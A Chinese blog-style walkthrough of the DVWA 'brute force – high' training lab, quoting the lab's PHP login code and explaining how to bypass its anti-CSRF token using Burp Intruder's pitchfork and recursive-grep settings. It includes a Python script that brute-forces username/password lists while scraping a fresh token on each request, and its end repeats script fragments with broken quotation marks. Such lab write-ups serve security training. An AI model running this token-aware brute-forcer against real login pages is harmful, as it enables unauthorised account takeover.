3、暴力破解-high

3、暴力破解-high

1.既然medium里sql注入都没成功,high里应该也没可能了。

2.直接进行爆破。

3、暴力破解-high_第1张图片

通过抓包发现,这里对直接进行爆破进行了限制,加入了token值。

分析源码

这可咋整,先看看代码吧。

 
if( isset( $_GET[ 'Login' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //使用checktoken防止csrf攻击,验证表单中的Token是否与用户Session(或Cookies)中的Token一致

    // Sanitise username input 
    $user = $_GET[ 'username' ]; 
    $user = stripslashes( $user ); //用stripslashes()删除反斜杠
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); //用mysqli_real_escape_string()对sql语句过滤

    // Sanitise password input 
    $pass = $_GET[ 'password' ]; 
    $pass = stripslashes( $pass ); 
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    $pass = md5( $pass ); 

    // Check database 
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "

Welcome to the password protected area {$user}

"
; echo "{$avatar}\" />"
; } else { // Login failed sleep( rand( 0, 3 ) ); echo "

Username and/or password incorrect.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>

3、暴力破解-high_第2张图片

user_token不断变化

这里是有个token值的问题,每次登录验证的时候除了用户名密码,还会对token值进行验证的。百度找找答案,发现burpsuit的爆破功能,可以获取token值。

但是发现brup有获取token的功能

注意本地搭建的靶机不能用127.0.0.1作为地址,否则会抓不到包,要用这个才能抓到包

3、暴力破解-high_第3张图片

3、暴力破解-high_第4张图片

1、将登录请求进行拦截,发现增加了user_token参数,所以爆破要选择两个参数来进行,先将请求发送到intruder。

3、暴力破解-high_第5张图片

2、设置两个参数 password和user_token为变量,攻击类型选择pitchfork,意思是草叉模式(Pitchfork )——它可以使用多组Payload集合,在每一个不同的Payload标志位置上(最多20个),遍历所有的Payload。举例来说,如果有两个Payload标志位置,第一个Payload值为A和B,第二个Payload值为C和D,则发起攻击时,将共发起两次攻击,第一次使用的Payload分别为A和C,第二次使用的Payload分别为B和D。

3、暴力破解-high_第6张图片

3、暴力破解-high_第7张图片

3、设置参数,在option选项卡中将攻击线程thread设置为1,因为Recursive_Grep模式不支持多线程攻击,然后选择Grep-Extract,意思是用于提取响应消息中的有用信息,点击Add,如下图进行设置,最后将Redirections设置为Always
3、暴力破解-high_第8张图片
3、暴力破解-high_第9张图片
3、暴力破解-high_第10张图片

4、然后设置payload,第一个参数设置不在赘述,第二个参数选择Recursive grep,然后将options中的token作为第一次请求的初始值。

img

5、点击start attack攻击爆破,结果成功爆破,如下图所示

img

python脚本

找到token的这一块代码,发现每次请求都会变化

3、暴力破解-high_第11张图片
3、暴力破解-high_第12张图片
3、暴力破解-high_第13张图片
3、暴力破解-high_第14张图片

#! -*- coding:utf-8 -*-

import os

import requests

from bs4 import BeautifulSoup

def file_read(filename):

    with open(filename, ‘r’) as f:

        f_list = f.read().splitlines()

        return f_list

def brute(username=None, password=None, user_token=None):

    headers = {

        ‘User-Agent’: ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36,

        ‘Cookie’: ‘security=high; PHPSESSID=udtb5t38tc8nsv0vj28donric1′,

    }

    url = "http://10.211.55.3/dvwa/vulnerabilities/brute/index.php"

    params = {

        ‘username’: username,

        ‘password’: password,

        ‘Login’: ‘Login’,

        ‘user_token’: user_token

    }

    try:

        response = requests.get(url=url, params=params, headers=headers)

        if ‘Welcome to the password protected area’ in response.text:

            print("brute success!!!:" + username + ":" + password)

        response = requests.get(url=url, headers=headers)

        soup = BeautifulSoup(response.text, "html.parser")

        user_token = soup.find("input", {"name": "user_token"})["value"]

        return user_token

    except Exception as e:

        print(e)

        return 

def main():

    user_token = brute()

    for username in file_read("username.txt"):

        for password in file_read("password.txt"):

            user_token = brute(username, password, user_token)

if __name__ == "__main__":

    main()

大佬写的Python脚本,我还未验证

.txt"):

        user_token = brute(username, password, user_token)

if name == “main”:

main()

大佬写的Python脚本,我还未验证



![img](https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDE4LmNuYmxvZ3MuY29tL2Jsb2cvMTM0NDM5Ni8yMDE4MTIvMTM0NDM5Ni0yMDE4MTIwOTE3MjgxNzkwMi0xMTAyNzcwOTg5LnBuZw?x-oss-process=image/format,png)

你可能感兴趣的:(dvwa)